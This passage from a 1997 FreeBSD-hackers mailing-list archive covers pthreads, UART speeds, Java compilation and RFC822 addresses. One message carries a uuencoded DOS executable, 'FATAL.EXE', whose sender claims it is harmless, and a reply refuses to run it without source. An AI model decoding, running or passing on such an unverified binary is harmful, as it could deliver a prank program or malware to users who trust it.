/* Should be named sched_priority */ > void *no_data; > }; > > enum schedparam_policy { > SCHED_RR, > SCHED_IO, > SCHED_FIFO, > SCHED_OTHER > }; > ---- > > Shouldn't this be in a sched.h file ? > It would also be nice if 'prio' would be renamed 'sched_priority'. I > think this is the standard slot name (at least all other pthread > implementation uses this) > > 3) The following functions are not defined: > pthread_setprio(), pthread_attr_setprio(),pthread_attr_setscope() > > When do you think these will be available? > > 4) I have now fixed workarounds for the above cases. All code compiles > and links clean but when run a test program, pthread_create doesn't > start a thread. Should threads work at all in FreeBSD 3.0 ? > From owner-freebsd-hackers Sun Aug 10 12:52:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA10310 for hackers-outgoing; Sun, 10 Aug 1997 12:52:10 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA10304 for ; Sun, 10 Aug 1997 12:52:08 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id MAA11188; Sun, 10 Aug 1997 12:48:48 -0700 From: Terry Lambert Message-Id: <199708101948.MAA11188@phaeton.artisoft.com> Subject: Re: ISDN drivers/cards To: joerg_wunsch@uriah.heep.sax.de Date: Sun, 10 Aug 1997 12:48:48 -0700 (MST) Cc: hackers@FreeBSD.ORG In-Reply-To: <19970810090528.OS10788@uriah.heep.sax.de> from "J Wunsch" at Aug 10, 97 09:05:28 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > As Tom Samplonius wrote: > > > > going from TA to TA or TA to Router, I'd love to see an internal card that > > > doesn't use 16550's that I can put in my freebsd machine and get good > > > > This can be improved a lot. Most TAs support a 230400bps rate, but > > FreeBSD does not. > > Well, that's not the first time you're spreading this misinformation > around: FreeBSD _would_ support this rate (basically), but the under- > lying hardware doesn't. > > If you've got a card where you could double the oscillator frequency, > simply do it, and FreeBSD will support 230400 bps (but call it 115200 > still). Didn't Tom post a while back about needing a driver for a faster UART, but not knowing how to pass the information down? Was that Tom? I remember that *someone* had just done this, and no one responded to the request for how to set 230400. There *is* a B230400 in termios.h, if anyone is interested... I didn't respond to the initial request because I thought Bruce Evans or Mike Smith would answer the question. > > FreeBSD-current now detects the 16670 UART that supports 230400 (and > > faster. But it doesn't seem possible to set a port to 230400. > > Ah, that's what you mean. So, if they support 230 kbps, they must > have left the way it used to be done in a 8250-compatible UART. (The > divisor 1 already yielded 115200. Are they using divisor 0 now? :-) If they are, they are using it to say "look elsewhere for your divisor"; probably they just have another divisor register that someone needs to teach sio about... like someone with a 16670 UART to play with. 8-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Aug 10 12:52:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA10364 for hackers-outgoing; Sun, 10 Aug 1997 12:52:50 -0700 (PDT) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA10359 for ; Sun, 10 Aug 1997 12:52:47 -0700 (PDT) Received: (from karpen@localhost) by ocean.campus.luth.se (8.8.5/8.8.5) id WAA16384; Sun, 10 Aug 1997 22:04:46 +0200 (CEST) From: Mikael Karpberg Message-Id: <199708102004.WAA16384@ocean.campus.luth.se> Subject: Re: generic compiling programming language? In-Reply-To: from Alfred Perlstein at "Aug 9, 97 11:19:14 am" To: perlsta@sunyit.edu (Alfred Perlstein) Date: Sun, 10 Aug 1997 22:04:45 +0200 (CEST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to Alfred Perlstein: > > I know C is 'portable' but it still requires some major hacking to get > programs working on various OSes, and Java can be used/compiled almost > everywhere, although i think it requires a graphical display (right?) > and it is pretty slow and not a good choice for many intesive > applications. Java doesn't require a graphical display unless you use it for graphical stuff, but that's no different from any other language. :-) The java standard specifies the length of a "long" or "float", etc, which is one of the things where C/C++ gets stuck in porting. It does a lot of other things better too, but there are good and bad sides to most things... > Why isn't there a "Java" that is not interpreted? but could be easily > cross compiled for any machine? > > Or is everyone hiding something from me? :) There are plenty of compilers out there which compile java to native binary instead of bytecode, as far as I know. And java is not interpreted, it's just emulated on all platforms. :-) Actually, not true, because there are java CPU's out there (if I heard correctly), which ofcourse would run java's bytcode native, and therefor not need to emulate the JVM. You really seem to be looking for something right under your own nose. Java. All you need is a really good compiler which can give you native code, my guess is that java will meet your speed needs. /Mikael From owner-freebsd-hackers Sun Aug 10 12:54:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA10521 for hackers-outgoing; Sun, 10 Aug 1997 12:54:42 -0700 (PDT) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA10515 for ; Sun, 10 Aug 1997 12:54:40 -0700 (PDT) Received: from pf1.phil.uni-sb.de (root@pf1.phil.uni-sb.de [134.96.82.11]) by freefall.freebsd.org (8.8.6/8.8.5) with ESMTP id MAA10224 for ; Sun, 10 Aug 1997 12:53:54 -0700 (PDT) Received: from relay5.UU.NET (relay5.UU.NET [192.48.96.15]) by pf1.phil.uni-sb.de (8.8.5/8.8.5/961001chris) with ESMTP id VAA23309 for ; Sun, 10 Aug 1997 21:51:55 +0200 (MET DST) Received: from counterintelligence.ml.org by relay5.UU.NET with ESMTP (peer crosschecked as: mdean.vip.best.com [206.86.94.101]) id QQdcap01303; Sun, 10 Aug 1997 15:54:40 -0400 (EDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.6/8.8.5) with SMTP id MAA01484; Sun, 10 Aug 1997 12:53:28 -0700 (PDT) Date: Sun, 10 Aug 1997 12:53:28 -0700 (PDT) From: "Jamil J. Weatherbee" To: DaVe 8 P cc: saar-lists-freebsd-hackers@uunet.uu.net Subject: Re: Programming Assistance Needed In-Reply-To: <19970810173001.NAA07974@ladder01.news.aol.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Do you actually think that we are stupid enough to run a binary executable without the source code??? On Sun, 10 Aug 1997, DaVe 8 P wrote: > I need help on how to program a file similar to the one I attached to this > message. No it is not a virus or anything I really need help. I want to > know what tools I can use to make something like this...for example the > file display "FATAL" all over the screen I want it to say BOO for an > example....so what tools would I need to do something like this...please > mail me back..I will appreciate all help thank you > --------------------------------------------------------- > > begin 644 FATAL.EXE > M35KC`0\``0`&`.L(___?`0`"`````?#_4@````P14$M,251%($-O<'(N(#$Y > M.3`M.3$@4$M705)%($EN8RX@06QL(%)I9VAT M````````N+4*NMD!!0``.P8"`',:+2``^H[0^RT9`([`4+G'`#/_5[Y$`?SS > MI23]C-M3@\,N`]J,S8O"@.0/ > ML02+\M/FB\[1Z4Y.B_XKZ"O8CL6.V_.E_([=!P:_``$S]JV5NA``ZR^0K96R > M$.LXK96R$.LYK96R$.L^K96R$.M@K96R$.MAK96R$.MBK96R$'(+K#+"JM'M > M2G3Q<_4SR3/;T>U*=,+1T]'M2G3!T=.%VW07T>U*=+S1TX#[!G(+T>U*=02M > ME;(0T=,NBH]F`8#Y"G1T,]N#^0)T*M'M2G2: M2G4$K96R$-'3@/L"ZX'1[4IU!*V5LA#1 > MTX#["'+;T>U*=02ME;(0T=.`^Q=RR]'M2G4$K96R$-'3@>/?`(;?Z[VL`LB` > MU0`\_W6"6XOK@\,0B]..PJU`=!%(=/>1K9 MX/NM`]A3K5".Q8[=,\"+V(O(B]"+Z(OPB_C+`P`""@0%````````!@<("0$" > M```#!`4&```````````'"`D*"PP-``````````````````````#'`@T,8DP# > M:/B/0_YH1`D%H*`'\\U/]`T&[@?\``4'$+4,JX3)@PF%XH@`0-?.X0\-S+-) > M"=;OP'('_H$"%0=JRNH9!PQEB\>4`IM9]`WK#5+[9`"E@.(0V`WM%8SPB`8. > MI`,.+*%`?><9,0!*"FH^_]\(^H``*&[SIPUYGL/+``?.!XD`1=G,6X3IL<(* > M@A_M0%&2!07B!`$$!N^9)R$;D(\`%,B$>`>'10P@^4:^C_90`/:$4`$-$U$. > M+-Y!_HA%%=NIBN46E(B@4,'\JH35#@OD[AM%43_1PPY@-,1V0M_SVEDUX(C2 > M20`'`0?PQN$&!_F\`8`$X('(*X:.9_,32O_1Z;@!P.=]*BB->P`UB$0%2NT+ > M",B#V+^,*2D`0@Z?S#EP2P?[)(D4-D7PC<@.?:]G+U"*$0]D#62I;WIJR<(D > MM>1,]2<"5`N*$!B0%AJ4P_9,`@!)9_,CB;5_3'MQ+,1'@!?MZH.SWO4<7AF# > MQ@`49T406F8)8"&28`$PC"HE;ML<#$4,ZMW63`(^2C[KI=X@/A`OT@0I2X$" > M(.[>&M3LPN("H@#SM*OFQ(Q"T8(_L*OC0@9^,!L/2E$7WS$&>B@&``OQ2?B. > M>OV(0DI)Q%_;@0Q-.44I$S);JC)5^54)G1P3+';;_S51%A%'#W`4504+?0L$ > M$70$:9K6"PH7#TYL#/P,"7$9*@X$8Q M`!#+L`MVA@,&YE^(U3(``-#SHC$L>0^BZO_M23@3<08``)#K_@?LX/LU$',5 > M=ATO$@-G2=`"%XH7%`#*CLS>@O+LU#D?<05T``#JH_,LR)U > M`'`2HT4_X4KYHH/,3^6NL!(\:>`**H!,5@.7M!`+_?#]#\%26$T'"`!4X_-Q > M=:_E1^(,^``&,(/:&`KLX0$8\'8SI.H84B`&K1OP(`T$``%0"TZ&](NW`@@& > M M=&51G9X'VL0!()(,K`@*-2!P2(U"_$LI(P6`$U4$@P#OX(SQU.,"]8N!KI68 > M!1+W*Y0'$O@2X'_Z0/^"+''S(W^^51X%15A4]KH(,@5T4C MN/(-888[!(,%.`4'`LO"*%42('V7T9O7@`(-#V8-#Y&`"PRG<4R(#&X&>T`$ > M#PD09@]S1+$;!\L5PZ@#.BDJF&6O`XI`P0(;YKCWBC0.^@1VY9YT$1.E_0(L > M>4J;'Y;#NA(!+(P/'W01?:!+F__?[0W[`!^-QQ(W^RX9)QT('-%">J@S'00C > M+[,"4.8(BR]T`!,=`@]]@.0$#Q!+V#?`.` > M#19O^^NZ^ZE,_>_]N4G=G_8%2>\S_64L!!%$['4K4T+C0LY"\L/6`F`SZ_MO > M`$0$#T(WRP%"]4)_`$+O.08-K0$*D+$%2D$_1`L"[:W_:&=6`!-,6R($;5`0 > M'(7[[NO]!P!J[=A(C17B3`44J`<"RGT:PS@(C8J[T$]G.\D9-J`)%,N!P(C' > M`E0N2S5F6R%*6(KY'SG!D@5R8*C8B6*;!JT#&/E@%QCS<4&OVQ@&H)<8PHG5 > M`LZ)@8\""%=L*I#A$I&,SH[>`(`BSNX%/=D)R!O4`Z4$@-`!`CDH"U,L@0TA > M1":-LR%L=`D4B9O?1\X.T4O:C!4&KM5?`IB@!5`6D[28#090G!\,3.$*>@@? > M"5BZD:S^0/VL@@X%!:`Z!65$"+@'O,('[1$(`K"PP`OKC-64RVV6>P>*=F&Q > M=^!2H#+^"+>$XR6BH"AWEY=N!F"_C5M@`N:P#CF67PV$);V@VY`HKP!'ET(. > MG8$+!60Y0EQ>+,X'<4HO5U-3'&L%7==`#4:(`T9PH8`61O$[[$8$V$CLG_6@ > M5!3K"BF$.`0!)"1D!X\'80ER#A;VJA3(K`7=]B7&)`#HCS#%?`OO-O[@8SX` > M-I!D!1!^"^XL^OH!#=\0P`0-0!``"H=[^@1U#T='`!#R1O4`#8Y&_<`%.N0K > M4T+65CA6T?J[`"B$/;8.3QC#<&2U7#KU8P!(B@WFK/6_"+X(L0BW'@#JH(_H > M+,4ZRI,>!M`%``&VLPN'THL`O4DP[^F$`S4=YD?!`1`"L`"`%-SF@=X(R*J" > M2J6)20`$A5)*!X(#GP.>(2D#J4&%+R"D<((`LZ\6K4O3!(\,K8`"7;!T7;(R > M"+`\E/\LK0``I#K#+(46ADP*A,$!YNP<#RA%#[4"#) M$@@($#@(';DH`&I!$%T"L&0$"U0-ZE=%Z10$VPX42@$2`!1-%,L-PS3&F5^# > MY0X`@$.2DE2,[OJ)]?=R"T2#S?$;4!!^"$BERDC'"@`EQ9_QBLP!7H;C'(/& > M`%"&#X[Q-7@)MO?X4;%0``!MA.*-0AT+45->7%M;7AT&2`#?M]X-*^,$OLT$ > M6EGJ@`47M_$-/\(YTAH``.NLO$"'R@'*?#JGE4D(PG44"3^!SOH9"`H8*<(` > M"F<8^=4Q"QIZ&+T2]>,`%!/.?`HJ,`P!"'4`(Q4``!#DWX;$A\DB%K]+AN\3 > MBP\`(:1"AQ.Z1LX7IJD4@D\8HJ4+H@4*H`.W1[%F!N`$4@OEVP/D,2P:^`DA > M`P0@,%0K$\D>*D!14_NK4`X"`*I0>R>V0`GB(PBFIE"J.`ZV5PP9#`!5%^9- > M#+LPX5T+E#(FYSL7:1<#*2@CND$_)HT!#[T`$A;G-@U/X/G*N6,:LPN"@/@- > MA37B\_4',E$$14)4@<[*6`3K`P&*"EV]#]CAX`0))@X"H!PP,7@+#`",U;`% > M``!(S0T.$"LJ+#,S,S,[.SL``"LS,S,S?EA\9G-O:&$C9W.``F)@?"T,*VM] > M!2H."`%5`$`.&&AH=B1`;7%0`&E]9VID&"]E+"0R.SF@`",C-S\L21]J9&IG > M5XH4"/R$2)G)"%IT!@`GOK7'"^-Y]A7%P%1>!X+.Y'H+&@(*`!K#&ESW@]LP > MP7L'_J!0.(I"I:R0!,T"!4%1$BC),8(T%8D")4D5"*D(HD@<``"K\PSF.XK( > M"1CL`P9`!W#T```36PC(.(?1,M=R]L:_'P'J"A0+-!%]!'H"/1URR@\6A`6! > M(.7!H("BCD*%&ZQ&(0]6'Q6`HE8K`@P5@3<(P340`E[QWA,KP8G+@#"0[OZ. > M[@0)R$5!@-L=?Z3`5>Q\`[X$E8#5A#R#8Z-W-9(S]6!`%LY28] > M0`!TX0>@8$=<7RN'!@-;!W`PDH`+0`@,`2W-']F!X((J4LL(W`U;5@`%-`"% > M]8+)+(8-`T8`)ZDFF26")5E>5047"CX-`5I;0;KH^)'$`3,Z!(JW?@-]+#,! > MPW4>`L)JA_*$RJN=JPIFAS)*BU0%)A(Q6_47HDH\_C:@)LD,-0EUL7&RHI`` > M#>#WAG0=:R9I0 > M2);L&`6)N M"-"&Q+@4@,,/CO4&4&UL8:`%7(_X#7\*ZOI)H" > MI6XWR`C(\>!&NYVE4A/(W,<&!8$)F-W=T=OC`B8*`4`0T[4]WX?7%"8*-R@H > MU7@*\?VCO[;2!&2!D`^E"P&(07>IC:1,%$P"!)44``JI`0[^I[)%"0/5?ZX[ > M@!#8>0J'Q.@"I4``#A.E[/4^RZ`6P@^"@78'.H!-#0"44@@*"`L("JJ<"`-$ > M!@`H"@7$!PRQN][C#[RW!0A2$[6]VMK!>E`H+(1+#S$7 MP`&S0VL,X"Y;#E`([2$#6.0%0UD)1[\3`NF4*EP/>CG..2Y!54W;N"QNI`H. > M3XEZ!$X9F:8(40],9H)"(!1;L1TW$0-:HJJ[`;<7"XQ7(0!`9P(C^QH@%.L( > MC5T&!PK3(\_'5`(!,#7,(H1/ > M"2E1,DLR`2[%[!Y4MVLM#R74I(,3`+T`9Q6-]@A]#+TV&@X%&0)2!0G3*)1D > M"N9$;3BS-AH]*I95>'HB%P"'!24(-/GY(CD'=0"`%[;Q\OZEX?V+P`6.\[H" > M``(`#)W]VA<.&,)[#/^HD`@EXZL14% M(H,_(5"G9PQ)[_L[#7<-@`W,(<]\`T5/<=W!_>(AHH#1.ZU4D;J%QCE3B]YG > M2:(:%@\>**`6.85"'C+&<`>.PKM+`"0')"`.$I8H!89L!0`HU<)U"K$&!@;U > M*,-S9BD#3SH2>/8*`MDT/PR"R>S8]`"EA<5!#P8#?PU`MZ MG&OH"O%`C`M@+#,9PW,._Q`,JB:#V#7P3@`:,R/-=!E%1*[S%("^>AO:@M&, > MS$SWI78/J&+.S$`!@DK@[''N`$LI1X$W%BIR!XJOF6V()"1!83;'V M@G?:JWD),,V=`@3\O0VA/(-/`ZQ>:6>O`D$%R&L=R@6"@IZ,X`L(BI0%?@?& > M M%`6E&`QS](+MMP^C"@%?#7)7!IU\5U64D08S>$D'!S)U!W)S^0ASDYX8 M`6K**10,*UIN/9VG;G5N$0AM$6\#V,=^@$,4/,>$`;,*-$`J?P.]#O0/"[8+ > M``02NS*-<3L*?0&*4P&LN7Q7A0ZR&@Z]E7BB82TJCQX4F#E*'/_*A[YMH[`; > MFW`0(\,_/RX$NT$;`C&SL=6(`!15&X=8&H)'$8%:'!$=2BZ8"044'Z&213_9 > M)T\`0P*43R&+"HK2!W69P5`Q],)F4O)F%XB1ZA`8M@/3P0)C8E8_VW8A"4"0 > M%!%^"DOL]([7*-+(/4A&AX!/IL:%]`*!@*#W#)F`V(+3* M,R=^:XW+7%B-X(7@@XGI4%`CR%:1O"O)AH3+```&C_<%?AJ`S8+DC-J.^8C7 > M0`HB^8[D!.#@1P\#()'7VM+WP7+PF'PT*J"`UQO0C MW91Q#8L`H-&/Z'(&_LF"R8S8CM/`"L`D('_B\<0MQ!_=&08X-QS\V/[;\-[P > M*0`QCOB(\@S]#OQWSPL`">9WN=SLVMG8VFOQZ_TI`1"_\H#S4(_I,=8*`)'M > M+(S9"M84]8[+@\P;`!"S6`/L<@(.WW M!@;<&G(GPX/`"P0`[>-[EE)24E=2`$!`A.(^Q8%,"/YA`8[TB/L(`%Q/"/!@ > M#0?S$?NIW`,,"0P`-F`,_AH#"_\5WQ?R>\T:!0P")M,N#/,:)K#UR!S\'O4: > M#@$,`I`8RAC=BLP+E5Q93O#C".-!AN^$A`$`-WD*V=U'\\%#=PE`1%&%SS_Y > MV^<<$+B;UX7=SP-S#__O]P"(!\\FVA#Y6K<$OQF$#^5\#CS8@(# M[H+$7'X:VNUDT7#@"9`2\^'B]L]^#U8`0"]ZZ[],X.N"RK8`UN186`'2D?K< > M_-F*^OB6T@DHELJ*B>%@^5=Q*$!*=@M?$5+$\,.$=P5$@`)\$_/&/L)W#\2K > MD@8PW77``("F!==X/H#G`]5_`O/9]=E@Q<<3'`&^A0Z&%%##OY[R?`R!]+6, > M%`H0=P:%"M,4*/H+!`']=PTEQ9:UHRC*"()B5(33@H7](W%3`D4%''D#@_2? > M,-`91(8=D0F)^M#%D^B/BQB-W];:K(*-1PX&_! M.]8%W<:._5P!?;`#<=;`ZNV@".Q]-<;DZ08SS@&0MO^`\.&5^G0LST!1527F > MF_)Y%1P"^PI4!"($OPG@9/F)H0`(#.10"`?.O,P"Z"BE@_RVP`:%!LL(E@:) > M_D8]_>A,<\4*/R^?"D7U"D033NX*-J%[3FR8F"+K/=;6AW`\`,GF`X3JA]&P > M]O?GZ.UY">EXMR=#[^D"\4@`7][1ZOTDT2;:(>?*1`JI)R#O5%%3 > M7>X6^,@,9T2)Y0`30(">-K)W0-@!2H];_HI4_9!@D,Z.W?4%C< MC1B*`D@8Y%/UX3_X^,U2,#GXP?4W2K!UY"1,MBW)3IX$^)/U'D;!P^&C_`)P > M38S]BC5D=5J\A_4"DE4`LLOGP_!6>1KA#?C[2`R@5_),X.GX0H$[#N39],/M > MJ?Z> M-=YH1)LUEC-EJP"@+R<\VF*](!3G/W((U`-(R`-TA0$`>:VO`31-,@EH`*U` > M`?[^OXPFREKKO(3XO#+``>.P"CCDL?$9#""HC@Z![4#]-\7Q#;,(@MKX!!2J > ME?>UG@>^`(0S`*`2\ M]3)J?PV2`0!5QG&!E]&!&GOLIH@L.P!`;8'M-8)H=$":(T\7>L[.,:4!07.I > M+*6=0` M\)N]#5+;X'L)5[R%*D#:[9\*QG01F7<2AT$$XL?PP5&L``#Q_V,C$1IJ.'A! > M*OOA?'8W``!LAHHL>U@V]LLI?-=Y6)<<4*!L*K9+5*D1^NKY=JH6E923%81) > M"']\"^[6#Y##5P%%612T=0_Q-:7FG*#K?0*88?U<14(``!AP1[*%X[9G"^[( > M_W`'Z4#,_0_E>K,T&Z`H4UY9(X<&`W,'!`H`;0N\\591=0Z&PQ'@YI38D^`( > M"`^`3J.'4_""7/<#)[#^0&P-@:7POAN`&^X%_M((=S[U`/#N^.ED!Y8/440" > M.A;Z6_?P`-$->AE="B.Z@!2RU;0"1>/_\1D%9!!4PHO4?>8``-_#'5ES_?ZK > M.`YY;\62"`<`L)"ZD(=C3XJ+)#W+%H2MD1*/:8(@*@)!0'7O&C32M0'2E`&H > M,M*G^.L!IKJ'[I1B4$?PZ>P%3#B+[D3\\)=.ZZD$DA0#4;!2`C#J#5``!")6 > M_HY*Q$'X>?+0ZPHFKT7@Z]7_-2HM';S+!@,`M_$W_'D."_8%_$I,__)67K3S > MN,G(V0(C(:W:^?>I(@#SMMA*&`*]RU(JQ`'?WN>H\*G"W800`P$+!=H#40'> > M>R1"3<("`>^]"!L1+0$>]ZX(+PP4<]T"=[T)&Q+="0\O > M]][\WF+="LOUAAG>#[;>'KLFC0JHA7K3F0XDWAZ8WM"0WA[J_]Y_WH$4][QI > M%\06F//>=O`@WEMH"A4@`FUL[)P2LA9ZHS(._-Y[F@"NI1'>"ABA)LU^=QJZ > MWN`.W@D?WLK?A4,.]>8DW@Z#W@YZU[\.)-X-+P5;:)7>"@X2Z'J[#=X'@-YK > MO1/#"+2E)AJ=@5W7=[_>"RG>!37H']X/B;P$'JVVWAF=Z+K1EW > M%75=L1`O"9?>`M=[)-X,#-YNYK/6%_(8]]YM#R^`WFKK#P(7]19M#Y#>&+JN > MK2#>"9K>`O>N'=X8+Y/>`_ M]]T7\1B:)2_VM?PE_+_]*_Q-FO_\+OPV:S3\.OS>0D#\1F^IQ`$5'KUG$GX) > M^WH6AQ=C6]HMAQ>JY7\*#=S>2@LT"D[K6A>L#VEK/Q//F]H-;1K>6P4-21)I > MM=<.ZNU=$#P+E0)O1P[X'*Z;>QN/#C,;VA`L%M)&IA%%O;<1'1H9WA.E-VX7 > M,Q#TMH`3\PPV](`,AC89[ANTM?P8@:'W!LD08SC=)ETAP!K>`]=[)=X, > M@=X5R-<;$MX-'=X7FS0)%T0*[TT9&4D/&IHN(PT1-&MW":0*8U/`(_\M:!$1 > M;00/>V_K"5D'Z`TT#]X0;=:*$FL$HMX3&`@0?&)O#G8/>PRA:?$:_[.V%!@9 > MM-1)%2';U17>%[+8V`<(#A`"VAHW"`D&)=_N;1#>%EL8(QALTL`/'W7:&]X. > M)]X)!A;:H/<)TP*WIS#>#CZWT!%3);'08C:[&V*#WBZ["5+>7(L8U0H;>M-B > M#C3>&E4F[2AW&6_>;"GNFS0SWCIW$^^:[C'>!UAH;'<-,IDIZ$V[&]X_-+9W > M#DN9&]B;W!3>%VNB8PP9=P-YHQX0(ID!WOHXWA;'%C0 M&+6A.P\<=;FN-NX))-T#- M`V_H%]XONRTMMMX:V@_66@L1]6.;19D3>QL1*MX9>V]4(&,8WA>IMX<3^2.^ > M1 > M!R?0FU$,)-X6:$U@#!'<`BN]%RD4,6EO&+A1WA1[;\<5W@Q#2\L7;=0X%*(% > M>V\25#?>%]\(9T/P$*>;>A&:%AOO31-C%!,-6M0L%0,%[MX>3@TJ>[L10R)> > M'!MZI`?J1&I[NY%3T-X!WK[2W`32W@'\":P!#11';`%E``!U+P4K+&QX:`MA > M;WTD87LA`"@<7&%_;R4K$`T.4G<.```_?"YB8BML:'MS)C$\-1L)$P`:'@A% > M9V9B)0YU,`,`D#X_+@A7!C@^#2@+-3:`H@4V.@A1$Q(94_XCHT-!`A45"084 > M"QX%V5)99@/7`6R%DPX)*Q`*"P':7OH'?T$#`Q"]SS=)0=\_-`0:]W0F8Q`* > M=CU>`U0."(_/?@ M%#O(!Q4Q1&W;7D4&1K9.!D`&7`$85R*7I0`J7@8[""0`0CI"$P ME`)1"%<&7@961E@A2E$:\0L\OH``'0DL*2U$G$0I76E$&"JA?7Q$G*5A5 > M`6P7HF`*7UX25D!'5P-5+S\L144.3#P`E"L<`5]910U'84E!%DU"%5!83EDB > M$T2I-EY)2B$M*E!0)CXC/B%(;BM31:54(#,?C".,;X0!`1_#$'T&(:Z[!@(K > M"BD20;HI2"U-*UX$2;N[+0PH" > M()`,`0`@BFQF?R5S8G!D'0%J$2D:/SB<"(%]:FEWG6AJ;&0.(`XI'71:<71I > M=20$,!"UM!AHL[()@`(?7GYD9TEC(TY@0BAD:NQ48%5T4'=N:@A9#S4F:VN: > M>AA\0(8+:+$.0@[#4#E2&$P:*J*&'G5]T$HSSRL:EHXZ!>_P(R\92`2C`K&* > M!A"W!P@)_R0`<0&A`:T!WP'K`0L"KP*8!*0$LP2@!M<&:@=T!]0'X0?O!_0' > M`P@+"!`(&@@G"#4(.@A)"%$(5@@F"3$)2PI(#J42P!+6$O42___%!@!```"5 > !!` > end > > From owner-freebsd-hackers Sun Aug 10 13:10:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA11514 for hackers-outgoing; Sun, 10 Aug 1997 13:10:37 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA11502 for ; Sun, 10 Aug 1997 13:10:34 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id NAA11220; Sun, 10 Aug 1997 13:07:15 -0700 From: Terry Lambert Message-Id: <199708102007.NAA11220@phaeton.artisoft.com> Subject: Re: sb(4) man page To: joerg_wunsch@uriah.heep.sax.de Date: Sun, 10 Aug 1997 13:07:15 -0700 (MST) Cc: freebsd-hackers@FreeBSD.ORG, garbanzo@hooked.net In-Reply-To: <19970810100623.WM52623@uriah.heep.sax.de> from "J Wunsch" at Aug 10, 97 10:06:23 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > .\" SoundBlaster and any phrases including it's name are copyright > > .\" Creative Labs, not me. > > .\" > > .\" alex!@bigfoot.com > ^^^^^^^^^^^^^^^^^ > > That's IMHO an invalid mail address. You are wrong. See RFC822, page 27, for the definition of an address, which is permitted to be a mailbox, which is permitted to be an addr-spec, which has a local-part, an at sign ('@'), and a domain, and then see that the local part is one (or more, if dot-seperated) words. Then see RFC822, page 12 to see that an atom is any string of one or more characters, not including specials, SPACE, and CTLs, and note that an exclamation point is not a special. That said, an exclamation point *is* a PITA, especially when starting a new message from the command line in a shell where it's a meta character (like, oh, csh and tcsh). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Aug 10 13:35:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA13058 for hackers-outgoing; Sun, 10 Aug 1997 13:35:21 -0700 (PDT) Received: from sasami.jurai.net (winter@sasami.jurai.net [207.96.1.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA13052 for ; Sun, 10 Aug 1997 13:35:18 -0700 (PDT) Received: from localhost (winter@localhost) by sasami.jurai.net (8.8.7/8.8.7) with SMTP id QAA02090; Sun, 10 Aug 1997 16:35:06 -0400 (EDT) Date: Sun, 10 Aug 1997 16:35:06 -0400 (EDT) From: "Matthew N. Dodd" To: "Jordan K. Hubbard" cc: Brandon Gillespie , freebsd-hackers@FreeBSD.ORG Subject: Re: why bother submitting anything (via send-pr) In-Reply-To: <1212.871235011@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 10 Aug 1997, Jordan K. Hubbard wrote: > up? Please?" I've actually _yet_ to see this level of escallation > fail, so I can't tell you what the next logical step would be. ;-) I have. /* Matthew N. Dodd | A memory retaining a love you had for life winter@jurai.net | As cruel as it seems nothing ever seems to http://www.jurai.net/~winter | go right - FLA M 3.1:53 */ From owner-freebsd-hackers Sun Aug 10 14:06:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA14926 for hackers-outgoing; Sun, 10 Aug 1997 14:06:03 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA14912 for ; Sun, 10 Aug 1997 14:05:56 -0700 (PDT) Received: from awfulhak.org (dev.lan.awfulhak.org [10.0.1.5]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id VAA02404; Sun, 10 Aug 1997 21:53:42 +0100 (BST) Received: from dev.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.org (8.8.7/8.8.6) with ESMTP id VAA22190; Sun, 10 Aug 1997 21:53:41 +0100 (BST) Message-Id: <199708102053.VAA22190@awfulhak.org> X-Mailer: exmh version 2.0zeta 7/24/97 To: Greg Lehey cc: jkh@time.cdrom.com (Jordan K. Hubbard), brian@awfulhak.org, hackers@FreeBSD.ORG Subject: Re: date(1) In-reply-to: Your message of "Fri, 01 Aug 1997 14:56:21 +0930." <199708010526.OAA08967@freebie.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; 